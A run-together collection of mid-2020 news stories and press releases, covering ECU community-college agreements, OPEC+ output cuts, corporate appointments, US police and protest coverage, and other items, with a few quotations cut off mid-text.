Its crazy, Johnson said about receiving the award. Its pretty incredible, definitely very humbling for sure.

paul.wedding@hcnonline.com
Jena Bogovich, right, an advisor at Wake Technical Community College, speaks to a colleague at the Bachelor of Science in Industrial Technology (BSIT) Transfer Day Friday, Oct. 11, 2019, at the Main Campus Student Center at East Carolina University. Transfer students make up about 30% of ECUs student body. | Photo: Ken Buday

Interim Chancellor Ron Mitchelson, left, and Algie Gatewood, president of Alamance Community College, signed a co-admission agreement Oct. 23, 2019. | Photo: Rhett Butler

East Carolina University has signed co-admission agreements with five more North Carolina community colleges this spring, bringing the total number of Pirate Promise partner colleges to 35.Aimed at improving transfer student access and success, the program allows students to apply to a participating community college and ECU simultaneously. Upon completing an associate degree at the community college, they can seamlessly transition into degree-completion programs at ECU.Fayetteville Technical Community College, Rockingham Community College, Robeson Community College, Southeastern Community College and South Piedmont Community College all joined the program during the spring semester.Interim Chancellor Ron Mitchelson said ECU has had longstanding and productive partnerships with many of the colleges in the program, which was created in 2018 and represents the next step in ensuring that all North Carolina students have access to a college pathway that meets their needs.Mitchelson said.Transfer students make up about 30% of ECU's student body, Mitchelson said.A national report from the Educational Advisory Board found that completing the first two years of a four-year degree at a community college can save a student $43,000. Other benefits to students include access to ECU libraries and programming through the ECU Office of Student Activities and other organizations, ECU 1 Card eligibility, joint financial aid counseling and micro-scholarship opportunities, joint academic advising, and a waiver of the ECU transfer application fee.FTCC President Dr. J. Larry Keen said.In addition to the five colleges that signed on this spring, the Pirate Promise program includes the following community colleges: Beaufort County, Central Carolina, Carteret, College of the Albemarle, Craven, Edgecombe, Halifax, Johnston, Lenoir, Martin, Nash, Pamlico, Pitt, Roanoke-Chowan, Sampson, Wayne, Wilson, Brunswick, Cape Fear, Wake Tech, Montgomery, Richmond, James Sprunt, Blue Ridge, Coastal Carolina, Piedmont, Alamance, Bladen, Gaston and Vance-Granville.
OPEC+ is set to extend production cuts to prop up the oil market after a breakthrough in high-stakes negotiations, with the alliance meeting on Saturday to sign off on the deal.

After almost a week of wrangling, the groups leaders Russia and Saudi Arabia clinched a tentative deal with holdout member Iraq, according to a delegate. The pair were pushing Baghdad to stop shirking its share of cuts and to compensate for past failings.

The Organization of Petroleum Exporting Countries will meet by video conference on Saturday at 1 p.m. London time, followed by a conference with their OPEC+ allies two hours later, delegates said. The agreement, once ratified, will extend the record OPEC+ production curbs for another month until the end of July, instead of easing them as previously planned.

Brent crude advanced as traders anticipated a tighter market in the coming months. The international benchmark was poised for a sixth weekly advance, rising 3% to $41.21 a barrel as of 11:10 a.m. in London.

PREVIOUSLY: OPEC+ unity shaken as Iraq pushed to atone for oil cheating

Were reasonably optimistic on the outlook for oil in the second half of the year, Isabelle Mateos y Lago, co-head of the official institutions group at BlackRock Inc., said in an interview with Bloomberg television. Demand is likely to recover far more quickly than supply.

Prices Doubled

OPEC+ is used to dramatic glitches endangering deals at the last minute, so delegates said nothing would be agreed until formal communications take place. If it accepts stricter terms, the Iraqi government risks a backlash from parliamentarians and rival political parties by acceding to foreign pressure.

Still, members of the 23-nation OPEC+ alliance have a lot to gain by preserving their agreement, which has helped engineer a doubling in Brent prices since April. That has eased pressure on the budgets of oil-rich nations, while also reviving the fortunes of major energy companies like Exxon Mobil Corp. and Royal Dutch Shell Plc.

Failure to reach an agreement this month could have brought millions of barrels of oil onto the market, undermining a tentative recovery as countries start emerging from coronavirus lockdowns. With U.S. shale production starting to come back online, OPECs careful management of the demand recovery is crucial.

Saudi Arabia and Russia, who were on opposite sides of a vicious price war until a peace deal in April, are now united against those in OPEC+ who have consistently failed to shoulder their share of the burden. Moscow, a habitual laggard, has complied punctiliously with the historic accord brokered by President Donald Trump, and wants to make sure others do too.

CRUDE ON THURSDAY: Oil slips with OPEC+ discord and U.S. demand data sowing doubt

Reunited in leadership of OPEC+ and grimly facing many more months, if not years, of oversupply, Russia and Saudi Arabia had little to lose and much to gain by imposing concrete measures to improve compliance by the laggards, especially Iraq, said Bob McNally, founder of consultant Rapidan Energy Group and a former White House official.

The details of the deal between OPEC+ and Iraq on compliance were still not clear early on Friday. Tough conditions will be difficult to accept for a country still rebuilding its economy following decades of war, sanctions and Islamist insurgency.

Iraq made less than half of its assigned cutbacks last month, so compensating fully would require it to slash production by a further 24% to about 3.28 million barrels a day, according to Bloomberg calculations. That would be a tall order.

Three other nations -- Angola, Kazakhstan and Nigeria -- also produced above their OPEC+ quotas in May. The three pledged on Thursday to bring their output in line with the agreement.

The Deal

Enforcing better compliance among OPEC+ nations has been a motif since Saudi Energy Minister Prince Abdulaziz bin Salman was appointed.

In his first public outing after becoming energy minister, in Abu Dhabi last September, the prince was literally applauded for securing loud pledges of atonement from Iraq and Nigeria.

His tenure has also been stormy. In March, the princes attempt to force Russia to make deeper output reductions backfired spectacularly, splintering the entire alliance and igniting a destructive price war.

Two months ago, Prince Abdulazizs achievement in successfully restoring the OPEC+ coalition and forging an agreement for historic production cuts was overshadowed -- and delayed -- by a spat over Mexicos contribution.

The final deal in April set out historic cuts of 9.7 million barrels a day, or roughly 10% of global oil supplies, to offset the unprecedented collapse in demand caused by the virus lockdowns. Then a few weeks later, Saudi Arabia and its closest allies in the Persian Gulf promised additional supply restraint of 1.2 million barrels a day in June.

If a new accord is signed this weekend, the impact on the oil market could be dramatic. After the massive oversupply earlier this year, Russian Energy Minister Alexander Novak predicts there could be a production deficit of 3 million to 5 million barrels a day next month, Interfax reported. Thats roughly in line with projections from an OPEC committee that met on Wednesday, a delegate said.

That would provide a stronger foundation for the crude price recovery, and also allow the cartel to start chipping away at the billion-barrel stockpile thats built up during the crisis.
Bosch has announced the appointment of Per Johansson as General Manager for Robert Bosch Middle East FZE, making him responsible for the companys regional operations.

Johansson will also drive the teams efforts to achieve market growth, synergy utilisation and comprehensive stakeholder management.

Steven Young, President, Bosch Turkey and Middle East said: Per Johansson has dedicated 17 years of his career to Bosch, enabling the growth of Power Tools and Security Systems divisions. He brings with him robust knowledge and experience of Boschs businesses which will enhance our strategy and ambition in the region.

As an accomplished senior leader, Johansson brings over 25 years of international industry experience gained in markets including Europe, Asia Pacific and North Africa.

Commenting on his appointment, Per Johansson expressed his delight to lead the Middle East operations, adding: I hope that my longstanding relations across different divisions and markets at Bosch would further strengthen its position within the region. I look forward to working closely with the team, partners and customers in the market while contributing to Boschs great success.

Prior to this role, Johansson led the Power Tools Division as Vice President of both Western and Northern Europe. He has also played a fundamental role within Boschs Security Systems Division in Sweden and Singapore. Johansson has held senior positions with leading industry players in Europe as well.TradeArabia News Service
British banking giants HSBC and Standard Chartered on Thursday backed China's contentious security law proposal for Hong Kong, which critics fear will be used to stamp out dissent in the city. Beijing announced plans last month to bypass Hong Kong's legislature and impose the law, following seven straight months of huge and often violent pro-democracy protests last year. China says the law is needed to tackle "terrorism" and "separatism" in a restless city it now regards as a direct national security threat. Opponents fear it will be used to stifle local opposition to Communist Party rule, despite the promise of limited freedoms and autonomy for 50 years after the city's 1997 handover from Britain. But several conglomerates with mainland business interests have in recent days issued statements supporting the bill, including the Asia-focused banking giants. "HSBC reiterates that we respect and support laws that will stabilise Hong Kong's social order and revitalise the economy," HSBC said in a post on Chinese social media WeChat. The statement accompanied a picture of the bank's top Asia executive, Peter Wong, signing a petition in support of the law on Wednesday. In an interview with China's state media agency Xinhua, Wong said he hoped the law would bring "long-term stability and prosperity" to Hong Kong. His comments came after the city's pro-Beijing former leader Leung Chun-ying publicly criticised the British bank for not publicly supporting the law while profiting from its Chinese business interests. London-based Standard Chartered also lined up to support the laws, saying they hoped details of its provisions would "enable Hong Kong to maintain economic and social stability". And British multinational Jardine Matheson took out a full-page advertisement in a local newspaper on Wednesday to pledge its support for the bill. The firms' support of the law is at odds with the British government, which says the bill breached the agreement signed with China to govern the territory after the 1997 handover. British Foreign Minister Dominic Raab said Tuesday he had spoken to allies including the United States and Australia about potentially opening their doors to Hong Kongers seeking to leave the city if the law is passed.
The U.S. meat industry crisis that saw thousands of sick workers, surging prices and grocery-store shortages is leading half of Americans to consider plant-based options, new research shows.

A poll taken By Rethink Priorities in conjunction with the Humane Society of the United States at the end of May found that 52 per cent of respondents think the food industry should focus more on meat-free foods to help reduce shortages.

The survey of 998 people also found that half of respondents don't think the meat industry cares about the health of its workers, and 65 per cent don't think it cares about the treatment of animals.

The Impossible Burger. The two big disrupters are Impossible Foods and Beyond Meat. Credit: Supplied

"Covid-19 is shining a light for consumers to start evaluating their own choices and whether or not they want to continue to buy meat," said Josh Balk, vice president of farm animal protection for the Humane Society.

Plant-based proteins are already seeing a pandemic bump after coronavirus outbreaks forced closures at some of America's largest packing plants. Soy-based burger maker Impossible Foods Inc. and pea-based meat imitator Beyond Meat Inc. have spread into grocery stores across the U.S., and buying of meat alternatives had tripled from a year earlier in the eight weeks ended April 25, according to Nielsen data.

Faux meat had already catapulted to the zeitgeist last year, captured in the blistering initial public offering for Beyond Meat. More Americans have dubbed themselves flexitarians -- people who regularly substitute other foods for meat -- and vegan products have shown up on menus of nationwide chains including TGI Fridays. Even traditional giants like Tyson Foods Inc. have move toward offering alternatives.

Even then, meat demand remains strong, said Sarah Little, spokeswoman for the North American Meat Institute, which represents companies that process 95 per cent of America's red meat. Despite tight supplies and purchase limits in place for popular cuts, sales volume grew 5 per cent for the week of May 24 compared with a year earlier, according to data from researcher IRI.

Still, the pandemic has highlighted longstanding issues in the country's food-supply chain that many people are seeing for the first time, Balk of the Humane Society said. That is prompting consumers to look for alternatives to industrialized meat, he said.

There have been at least 44 meatpacking worker deaths and more than 3,000 workers tested positive for Covid-19, according to estimates from United Food & Commercial Workers International Union. The slowdowns in processing also led to the largest pig culling effort the U.S. has ever seen as hundreds of thousands of animals were backed up on farms.

Bloomberg
Adm. William McRaven.

Charles Dharapak/AP Images

Retired Adm. William McRaven said Friday that there was "nothing morally right" about forcefully clearing Lafayette Park in Washington, DC, so President Donald Trump could take photos in front of a church.

"You're not going to use, whether it is the military or the National Guard or law enforcement, to clear peaceful American citizens for the president of the United States to do a photo op," he said. "There is nothing morally right about that."

He also defended the many former military leaders who have spoken out this week, saying that it is "great to see the voices being raised and a little bit of sanity, hopefully, coming back to this very, very tragic situation."

Visit Business Insider's homepage for more stories.

Retired Adm. William McRaven said Friday morning that there was "nothing morally right" about forcefully clearing protesters from a park so that President Donald Trump could walk over to a damaged church and take photos holding a Bible.

"When you're in the military, there are three criteria for every decision we make. It has to be moral, legal, and ethical. Ethical, you have to follow the rules, McRaven, who had a distinguished career as a Navy SEAL and who oversaw the raid that took out Osama bin Laden, said on MSNBC's "Morning Joe" Friday.

"Legal, you have to follow the law. And, morally, you have to follow what you know to be right," he explained.

On Monday, Trump announced plans for a tough military crackdown on ongoing unrest. He then walked through Lafayette Park, which had been forcefully cleared of peaceful protesters moments earlier, to take photos at St. John's Church.

"That's just not right," McRaven said.

"You're not going to use, whether it is the military or the National Guard or law enforcement, to clear peaceful American citizens for the president of the United States to do a photo op," he continued. "There is nothing morally right about that."

Story continues

During the Friday interview, McRaven also defended the many former military leaders who have spoken out against Trump's militaristic approach to ongoing nationwide unrest.

"I was very pleased to see Jim Mattis, and obviously Mike Mullen, and John Kelly come out and reinforce what we know to be the principles of the US military," he said. "We all raise our right hands and swear an oath to the Constitution of the United States. It is not to the president of the United States. It is to the Constitution," McRaven said.

He said that it is "great to see the voices being raised and a little bit of sanity, hopefully, coming back to this very, very tragic situation."

Read the original article on Business Insider
Cars, glorious cars!

Associated Press

The Centers for Disease Control and Prevention is advising Americans to drive to work instead of taking public transit or carpooling.

This is to prevent the spread of the coronavirus.

It counters what scads of public health and environmental programs have advocated for decades.

Visit Business Insider's homepage for more stories.

The federal government would like companies to incentivize driving to work  preferably alone. (Employees may also walk or bike to work, if they live close enough.)

That's part of the Centers for Disease Control and Prevention's guidelines released this week on how to adapt to the return of working outside of the home, a practice largely nixed since the beginning of the coronavirus pandemic in mid-March.

Getting to work without close contact with others, such as through public transit or ride sharing, is preferred, the CDC says. This would help slow the spread of the coronavirus, which has already killed more than 100,000 Americans in 2020.

However, commuting via carpooling and mass transit is what public health and environmental officials have pushed for decades in order to ease congestion and mitigate the effects of catastrophic climate change.

Without intervention, in the next decade, experts believe we will see irreversible ice-melt flooding cities worldwide, record-breaking temperatures, more destructive hurricanes and storms, and water shortages.

One major contributor to climate change is personal transportation, particularly in a high-income, high-emissions-producing country like the United States.

The US has the No. 4 highest car ownership per capita in the world. Some 76% of Americans get to work by driving alone.

But for the other 24%, encouraging them to take a car (or a bike, or walk, if they're close enough) to work could be environmentally hazardous  unless the CDC pares back these guidelines in the coming weeks.

"Our roads cannot handle the increase in demand that will come from increased vehicle dependence. Congestion levels will likely become unbearable," University of British Columbia urban planning and public health professor Lawrence Frank told CNBC.

Story continues

In New York, where around 30% of residents take mass transit to work, a shift from public transit to cars is already underway. Nearly half of New Yorkers said in a survey that they would not take public transit when the city reopens, according to data researcher Elucd and workplace operator Industrious.

"Encouraging people, especially those without cars and in congested areas like New York, not to take public transit is misguided," Patrick J. Foye, chairman of New York's Metropolitan Transportation Authority, told The New York Times this month.

Read the original article on Business Insider
But now that its been looted, where will the mothers get the diapers and the baby food? Where will the seniors get medicine? An old woman who can no longer drive will just have to take a bus or two.
A Spanish porn star has been arrested on suspicion of manslaughter after a photographer died while inhaling psychedelic toad venom during a mystic ritual.

Nacho Vidal was detained in connection with the death of Jose Luis Abad who had used a pipe to breath in the hallucinogenic substance at Mr Vidals home near Valencia last July.

In a statement on Thursday, police said they arrested the 46-year-old  star of such films as Nacho Invades America and Brazilian Butt Fest  following an 11-month investigation into the fatal incident.

It said: The police operation began following the victims death during the celebration of a mystic ritual based on the inhalation of venom of the bufo alvarius toad."

Two other men have also been arrested with all three now released on bail.

Recommended Coronavirus porn is the latest violent and disturbing internet trend

A lawyer for Mr Vidal, Daniel Salvador, said his client "considers himself to be innocent", describing the death as an unfortunate accident.

He said the photographer had "previously tried that substance and wanted to try it again" in a "comfortable" environment.

"With all due respect to the dead man and his family, Nacho maintains that the consumption was completely voluntary," he told La Vanguardia newspaper.

The ritual of inhaling the venom has previously been promoted by Mr Vidal  whose achievements include being introduced into the Adult Video News Hall of Fame  in YouTube videos.

The toxin, which the toad uses as a defence against predators, is known to induce a powerful euphoria in humans. It is sometimes nicknamed the God molecule.

A 2019 study suggested the substance  known by chemists as 5-MeO-DMT  may have therapeutic properties, such as easing anxiety, but it acknowledged there was a limited understanding of its effects in humans.

Police said they had discovered that such toad rituals were being carried out regularly at Mr Vidals home on the grounds they offered medicinal benefits.

But, in a statement, they added that the ceremonies were attracting people who were "easily influenced, vulnerable or seeking help for illnesses or addictions using alternative methods".
Many did. But for years, the Old Dominion didnt. Until Gov. Ralph Northam (D) signed the repeal bill, Virginia was one of just six states that suspended drivers licenses merely because the motorist had been convicted of a drug offense unrelated to driving. Thanks to this relic from the War on Drugs, nearly 40,000 Virginians lost their licenses each year, according to the Prison Policy Initiative.
Maserati Media/ Contributed photo

A Santa Rosa man allegedly backed his Maserati over a dog walker who yelled at him to slow down in Boyes Hot Springs this week, killing the dog and injuring its owner, authorities said Thursday.

Juan Mendoza-Meza, 30, was arrested on Wednesday for assault with a deadly weapon and felony animal cruelty after detectives followed leads from the public, according to the Sonoma County Sheriff's Office.
DALLAS, June 5, 2020 /PRNewswire/ -- Witherite Law Group announced today that, Forrest Mays has joined the personal injury law firm as a car and truck accident attorney.

"We are thrilled to welcome Forrest Mays to our growing team. He not only brings great personal injury expertise but he also shares and exemplifies the firm's core values of 'People First, Unmatched Expertise and Integrity Always,'" said founding partner and commercial truck wreck attorney, Amy Witherite. "Additionally, his tremendous ability to advocate for clients will make him a valuable asset to our legal team and every client he represents at our firm."

Mays grew up in McKinney, Texas and attended Wellington Christian Academy. He attended the University of Texas at Austin where he majored in Political Science. Spurred by his interest in law and politics, he went on to attend South Texas College of Law in Houston where he earned honors during his first year and served on the South Texas Law Review.

After graduating law school, he practiced on the defense-side of personal injury law where he gained a keen appreciation for the zealous advocacy that people require in the face of those that serve to suppress victims of personal injury accidents.

When asked about his work as a plaintiff's attorney, Mays stated, "When I became a personal injury attorney advocating for the innocent who had been wronged by the negligent acts of others, I felt a true inspiration for serving justice and aggressively pursuing a course to restore my clients to the lives they enjoyed before a predicament they did not choose. I am excited to continue to pursue justice for the injured car and truck wreck clients of Witherite Law Group."

Mays is licensed to practice in all courts in the State of Texas and in the U.S. federal district courts of the Southern and Eastern Districts of Texas. He is also a member of Texas Trial Lawyers Association and Smith County Young Lawyers Association.

ABOUT WITHERITE LAW GROUP

Witherite Law Group is a Dallas-based personal injury law firm founded in 2001 with offices in Dallas, Fort Worth and Atlanta, GA. The firm's attorneys specialize in helping those injured in a car or truck accident and can be reached by calling 1-800-TruckWreck or 1-800-CarWreck, 24 hours a day.

SOURCE Witherite Law Group
Yvonne Orji celebrates her Nigerian roots in her first stand-up special, HBO's "Momma, I Made It!" (Baffo / HBO)

Yvonne Orji didn't intend for her first stand-up special to be so interactive.

Onstage at the Howard Theatre in Washington, D.C.  which has the third-largest population of Nigerian immigrants among U.S. cities  she circled back to a bit about Nigerians' distinct haggling strategy: being visibly insulted by outlandish prices. She repeatedly reenacted such shock  widening her eyes, dropping her jaw and placing her hand dramatically on her chest  and said, with great emphasis, "Me? A whole me?"

The phrase, which the audience was saying along with her by the end of her set, is "such a personal affront, like, 'How dare you talk to me, the entirety of who I am, like that?'" Orji explained to The Times.

"Disrespect is probably the biggest insult you can give to a Nigerian, especially an elder Nigerian. I love how the crowd got so into it. That's what comedy is supposed to be: rallying people together to actively participate in your joy."

"Yvonne Orji: Momma, I Made It!," premiering Saturday on HBO, encapsulates the entirety of who Orji is: a breakout star of "Insecure," a seasoned stand-up comedian and a 36-year-old Nigerian American woman, who is in real life a far cry from her very sexually active character, Molly.

The special is airing during the fourth season of "Insecure," which finds Molly's close friendship with Issa (creator and star Issa Rae) seriously fractured.

"People have been extremely upset by Molly and some of her decisions this season, and I personally have been getting some of that heat on Twitter. And I'm like, 'I come in peace, I mean no harm!'" said Orji with a laugh. "I hope this helps fans separate Yvonne, the person, from Molly, the character, and appreciate the different forms of storytelling I can do."

Orji, right, rose to fame on "Insecure," starring alongside Issa Rae. (Merie W. Wallace / HBO)

Much of her special pokes fun at quirks of Nigerian culture and splices her stand-up set with footage of a visit to Nigeria in January. Wearing a "Nigerian Is the New Cool" T-shirt, she shows viewers around the city of Lagos as well as her hometown of Ihiala.

Story continues

"To be able to take the cameras to this village, which is in a very rural part of Nigeria and doesn't get a lot of international attention, was everything. Because for me, this is home," she recalled. "It's not flashy, but look at the vibrancy and richness of the people and the culture, our way of life."

Each on-the-ground segment is designed to bring to life the material Orji describes onstage. Her opening jokes about bartering for goods are seconded by clips of a stroll through a Nigerian marketplace. Quips about prioritizing educational and professional success are followed by a casual chat with DJ Obi, tech pioneer Tosin Durotoye and comedian Chioma "Chigul" Omeruah about grappling with their parents' high expectations.

Jokes about Nigerians' particularly vague navigation tactics are proved true with a "man on the street" segment in which Orji asks half a dozen locals for directions  with mixed results. "That was an experiment and completely off-the-cuff," she said. "I've had the joke in my set and thought, 'Well, let's see if it'll really happen,' and it was literally the joke in front of me. It just showed, you can't make this up!"

And whenever Orji jests about being unmarried, or scrapping her plans to pursue medicine and pivoting to comedy, she turns the cameras to her parents, who openly air their disappointment with their daughter's decisions  lightheartedly, of course.

"A lot of times, we can use our parents as the backdrop to some of our jokes, but I wanted them to have their say, not just for them but for all the parents who don't always get a chance to speak," she said. "They were tickled by it, but they also were heartfelt in a lot of those moments."

Orji, wearing a Laurence Basse outfit and Balenciaga boots, recorded her set at the Howard Theatre in Washington, D.C. (Jessica Dao / HBO)

As funny as "Momma, I Made It!" is, Orji understands if some audiences, specifically black viewers in America, do not immediately tune in.

"If people are like, 'We don't have time for this, this is not the weekend,' I completely get it," she said, in reference to the ongoing protests against police brutality against black people. "I'm with everyone in this fight that we're in to be seen as human beings.

"But in the midst of all the trauma and oppression and injustice, we still need a moment to take off the cape when we get home, because it's exhausting," she continued. "We need that moment of levity, because if not, you will just be in a constant state of rage. I hope to provide 65 minutes of healing through humor, of collective exhaling through laughter."

"Black joy is an act of defiance. I am here to be an archer of joy and happiness, and I will use my weapon."

Yvonne Orji: Momma, I Made It!

Where: HBO



When: 10 p.m. Saturday



Rating: TV-MA (may be unsuitable for children under the age of 17)
Govt argued proposals needed to ensure continuity in running the country if December vote was postponed over COVID-19.

The Central African Republics (CAR) highest court has rejected changes to the constitution that would have allowed President Faustin-Archange Touadera to remain in office if an election in December is postponed due to the coronavirus pandemic.

The government had argued the proposals, which would have authorised Touadera and national legislators to remain in office for an amount of time to be determined by the court, were needed to ensure continuity in running the country.

In its ruling on Friday, the Constitutional Court said the proposals violated constitutional provisions forbidding modifications to the presidents term and providing for the speaker of parliament to take over on a three-month interim basis if an election must be delayed.

The will of the people would be tossed aside, it said in its judgement, which also urged the president to organise consultations with political parties to reach a consensual solution.

There was no immediate comment by the government following the courts ruling. Mathurin Djimbele, one of the legislators who sponsored the proposal in parliament, said he accepted the courts judgement but accused it of shirking its responsibilities, according to Reuters news agency.

To date, the CAR has confirmed about 1,300 coronavirus cases and four related deaths. But the country, still struggling to emerge from a prolonged conflict, is facing a massive challenge in its efforts to prevent a severe outbreak.

Armed groups control large swathes of territory while doctors already struggle to treat existing cases of malaria, measles and tuberculosis, let alone a new virus with no known vaccine or treatment.

As healthcare systems in wealthy nations buckle under the strain of COVID-19, the disease caused by the coronavirus, medical professionals fear an even greater impact in vulnerable countries such as CAR if cases surge.





CAR is one of several African countries, along with Ivory Coast, Guinea and Ghana, where the pandemic has injected fresh uncertainty into presidential elections scheduled for later this year that were already expected to be bitterly contested.

200421142222924

The conflict erupted after a coalition of rebel groups from the lawless and largely Muslim north of the country fought their way into the capital, Bangui, and deposed then-President Francois Bozize. In response, mostly-Christian militias known as the Anti-balaka struck back, exacting revenge on Muslim civilians.

The ensuing chaos has displaced almost 700,000 people inside the country and spawned a hotchpotch of armed groups as the rebel coalition disintegrated. Touadera was elected in 2016 and a peace deal signed last year has eased the bloodshed.

Bozize returned to the CAR in December after six years in exile and has said he might stand in the election.
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The death of a black man, Manuel Ellis, who shouted I cant breathe while being detained by police in Tacoma, Washington, has been ruled a homicide, as the mayor called for officers to be fired.

Mr Ellis died on 3 March, while handcuffed and in police custody, from hypoxia and physical restraint, according to Rich OBrien, from the Pierce County Medical Examiners office.

Hypoxia occurs when the body is deprived of an adequate oxygen supply, but Mr OBrien added that heart disease and methamphetamine intoxication may have contributed to his death.

Mr Ellis case has found renewed attention, in the wake of the death of George Floyd, who died after being detained by police in Minneapolis.

He was filmed being detained by then Minneapolis officer, Derek Chauvin, who knelt on his neck, while Mr Floyd repeatedly said I cant breathe.

Recommended Florida police officer suspended for pushing kneeling woman at protest

Ed Troyer, Pierce County Sheriffs spokesman, told the Guardian that in early March, Mr Ellis approached officers in their vehicle at an intersection, and asked for them to help him.

Mr Troyer said that after Mr Ellis threw one of the officers to the ground, another wrestled him and put him in handcuffs, by the side of the road.

Mr Ellis then told them he couldnt breathe, and the officers rolled him onto his side and called for an ambulance. He died around 40 minutes later.

Mr Troyer did not tell the outlet how Mr Ellis was restrained, or for how long the police officer wrestled him for.

Video footage of Mr Ellis arrest was published on Twitter on Thursday, by the Tacoma Action Collective, who said it was shot by an anonymous eye witness.

In the footage, two officers appeared to punch and kick Mr Ellis, as they restrained him and threw him to the ground. The collective claimed he was also tased.

The four officers involved in Mr Ellis arrest were put on administrative leave on Wednesday, while the Pierce County Sheriffs Department investigates.

Recommended Trump and DC mayor clash over control of streets amid Floyd protests

During a press conference on Thursday, Tacoma mayor, Victoria Woodards, said she had just reviewed the video evidence, and called for the officers involved to be fired and prosecuted for Mr Ellis death.

In this moment, at this time, based on the information I know today, the officers actions we saw on this video tonight only confirmed that Manuel Ellis death was a homicide, the mayor said.

I am asking  no, I am telling you that I am going to call for several things, and the officers who committed this crime should be fired and prosecuted to the full extent of the law.

Washington governor, Jay Inslee addressed the investigation during a news conference earlier in the week, but said all he knows about the case is that Mr Ellis died under restraint.

The governor added: I know finding out the full circumstances of that event is a top priority for her and it is a top priority for me, in reference to Ms Woodards.

We know that we have to continue to push for de-escalation interactions between law enforcement and our community members.

When asked if the officers should be charged with murder, Mr Inslee said that would be decided after a thorough investigation.

I cant render judgment on that right now because I virtually shared all that I know. So I know enough to know there has to be a very thorough investigation to lead wherever the evidence goes and people need to make appropriate decisions, and that could include criminal prosecutions.

The governor added: The situation in Tacoma will have to be investigated by an independent agency to make sure that its not tainted in some way.

During a press conference in Tacoma, Washington, on Thursday, Mr Ellis mother, Marcia Carter said that after she found out about his death, she cried for two months and 10 days, every day, all day.

Ms Carter added: Manny was taken from me, he was murdered, and said her last words to her son were: Remember, I love you.
Source: Xinhua| 2020-06-05 21:07:01|Editor: huaxia

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ACCRA, June 5 (Xinhua) -- Four Ghanaian poachers are in court on criminal charges for allegedly killing an elephant, an endangered wildlife species, Executive-Director for the wildlife division of the forestry commission, Bernard Asamoah-Boateng told Xinhua on Friday.

He said an investigation by personnel of the wildlife division, supported by the police and military, led to the arrest of the four suspects.

The suspects allegedly shot and killed the middle-aged male elephant, which was part of a herd traveling from Burkina Faso to Ghana on April 13. They dismembered the carcass and took away its tusks and other parts at Vamboi in Ghana's Upper West Region.

"Elephants are highly protected by law in Ghana, trading in their parts is prohibited," Boateng said.

Elephants in the northern part of Ghana belong to the group of shared species that move in the contiguous forest between Ghana and Burkina Faso.

The poachers took advantage of the restriction on movements introduced to combat COVID-19 in Ghana to break the law on protected species, said Asamoah-Boateng.

He urged rural communities to assist personnel of the wildlife division by volunteering information on people who break the law on wildlife in Ghana. Enditem
OPEC+ is reportedly close to agreeing on an extension of the deep production cuts it signed up for in April, after the cartels leaders managed to convince Iraq of the continued need for oil production control, Bloombergs Javier Blas and Grant Smith write.

There have been doubts about the future of the cuts because earlier reports said that Russia may not be on board with them. Then Iraq came to the fore as a stumbling block.

Bloomberg reported yesterday that Saudi Arabia and Russia were getting increasingly fed up with OPECs number-twos consistent failure to comply with its production quotas.

Riyadh and Moscow are not kidding about implementing some form of compliance-improvement mechanism, Rapidan Energy Group founder Bob McNally told Bloomberg. Without it, they walk.

According to the Bloomberg report, Saudi Arabia and Russia are running out of patience with Iraq and anyone else falling short of their targets. They are insisting that the laggards not only keep to their quotas but that they cut deeper in the coming months to make up for their earlier shortfalls.

This internal discord in the cartel sparked worry about the future of the deal. If one member of OPEC believes it can pump more than its quota, then what is to stop others from doing the same, the argument runs. And we have seen it before, when it was again Iraq falling short of its production targets prompting other OPEC members to voice their disgruntlement with the fact.

But now, according to one delegate who spoke to Bloomberg, this has been settled now and the OPEC+ club will meet on Saturday to make it official that the 9.7-million-bpd in production cuts will be extended to the end of July, when, according to Russias Energy Minister, the oil market could swing into a shortage of 3 to 5 million bpd.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:
A statue of a Texas Ranger at Dallas Love Field airport which had been in place since 1963 has been removed after details emerged of the figure's alleged racist history.

The 12-foot-tall bronze statue, called 'One Riot, One Ranger,' depicts Sergeant E.J. 'Jay' Banks, according to a new book by Pulitzer Prize finalist Doug J. Swanson.

Swanson detailed how Sergeant Banks was 'involved in efforts to keep black children out of a white school'.

In an infamous photograph, Banks is shown leaning against a tree while a lynched black effigy hangs from the school's entrance behind him.

The removal of the statue, which took place on Thursday, is likely to be unpopular with white protesters who previously opposed the taking down of Confederate monuments.

A statue of a Texas Ranger at Dallas Love Field airport which had been in place since 1963 has been removed after details emerged of the figure's alleged racist history

The 12-foot-tall bronze statue, called 'One Riot, One Ranger,' depicts Captain Jay Banks, according to a new book by Pulitzer Prize finalist Doug J. Swanson

Sergeant Banks was in charge of a contingent dispatched in 1956 by then Governor Allan Shivers to stop black students from enrolling at Mansfield High School.

They were also stopped from enrolling at a Texarkana community college despite court rulings that should have prevented Shivers from doing so.

Speaking to NBC, Swanson explained an infamous photograph showing Sergeant Banks leaning against a tree while a black effigy hanged from the entrance of Mansfield High School behind him.

'He is leaning against a tree looking very relaxed and to his left hanging from the entrance from Mansfield High School is a black figure hanging, an effigy and the Rangers made no effort to take that down,' he said.

'Again, the Rangers were there on orders of Governor Allan Shivers to keep black children out of the all-white public high school and that's what they did.'

Swanson explained an infamous photograph from 1957 showing Sergeant Banks leaning against a tree while a black effigy hanged from the entrance of Mansfield High School behind him

Swanson detailed how Sergeant Banks was 'involved in efforts to keep black children out of the school

Swanson, a former long-time reporter for the Dallas Morning News, also told his former paper, 'Banks sided with the mobs who were there to keep the black kids out. So, he was the face of that and of a statue that welcomes people to Dallas.'

The statue depicting Banks at Love Field airport was commissioned in 1959. Sculptor Waldine Tauch picked a real Ranger to model for it and it turned out to be the Sergeant.

Swanson also noted the title 'One Riot, One Ranger' is in reference to the 'unofficial slogan' of the Rangers.

It was allegedly born when only one ranger turned up to quell a disturbance, prompting a local to ask why he was alone.

The Ranger then responded, 'You only have one riot, don't you?'.

Although Swanson says that most historians agree no Ranger uttered such a thing, it has 'endured a pithy expression of the [Rangers'] ethos'.

Arriving amid acute racial tension sparked by the death in Minneapolis police custody of George Floyd, Swanson's book has prompted officials to remove the statue from the airport terminal.

Sergeant Banks was in charge of a contingent dispatched in 1956 by then Governor Allan Shivers to stop black students from enrolling at Mansfield High School

Airport spokesman Chris Perry said the statue will be placed in storage for now with its fate to be decided eventually by the city's Office of Arts and Culture.

This is the third time in four years that Dallas has removed from a public space a statue that had become racially provocative.

In September 2017, the city removed an 81-year-old heroic statue of Confederate General Robert E. Lee and renamed the park that had borne his name.

It was among several Lee monuments around the country removed from public view amid the fallout over racial violence in Charlottesville, Virginia.

